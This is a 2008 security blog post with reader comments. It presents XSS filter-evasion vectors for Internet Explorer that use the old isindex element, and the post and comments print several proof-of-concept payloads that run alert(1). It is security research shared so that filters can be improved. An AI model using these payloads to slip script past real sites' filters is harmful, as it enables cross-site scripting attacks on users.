New XSS vector

Yes a XSS post again. I’m sorry :)

I’ve been having fun testing some really good filters (some of the best in the business IMO). I found a vector that isn’t on rsnake’s cheat sheet. Check it out:-

Only works on IE

<isindex type=image src=1 onerror=alert(1)>

Because IE treats the isindex element (a very old html element) as a input tag you can specify the same attributes and execute javascript.

Update…

Found another variation which is pretty cool:-

<isindex action=javascript:alert(1) type=image>
Share and Enjoy:
  • Digg
  • del.icio.us
  • Slashdot
  • StumbleUpon

Comments 8

  1. x-tense wrote:

    You can remove the value of src attribute:

    <isindex type=image onerror=alert(1) src=>

    (only tested on IE6)

    Did you ask to rsnake to add this vector ?

    Posted 26 Aug 2008 at 9:16 pm
  2. Gareth Heyes wrote:

    Also works in IE8

    I’ll email him

    Posted 26 Aug 2008 at 9:25 pm
  3. Gareth Heyes wrote:

    Emailed rsnake but they won’t be added to the cheat sheet because there is no new event handler and javascript: is already mentioned

    Posted 26 Aug 2008 at 9:54 pm
  4. superhei wrote:

    hi Gareth Heyes

    good job
    it work in ie6/7/8

    Posted 27 Aug 2008 at 5:17 am
  5. Jim Manico wrote:

    If only everyone had the power of

    ESAPI.encoder().encodeForHTMLAttribute(String userData);

    Great find, good job!

    Posted 27 Aug 2008 at 10:56 pm
  6. Gareth Heyes wrote:

    @jim

    Hey jim thanks, why don’t you put a online demo of ESAPI like Mario’s smoketest? Then we’ll see how good it is :)

    Posted 28 Aug 2008 at 10:48 am
  7. naughty.spanky.boy wrote:

    Hi,

    I have an idea, for protecting websites against XSS attacks. Why not ban all the tags, and allow only predefined ones with ’special’ care. Like, allow img only with src that starts with a http://, or allow a href but only if http https is found.

    Posted 29 Aug 2008 at 7:51 am
  8. Милан wrote:

    Also works in IE8. thx

    Posted 10 Nov 2008 at 11:53 am

Post a Comment

Your email is never published nor shared. Required fields are marked *

Comment spam protected by SpamBam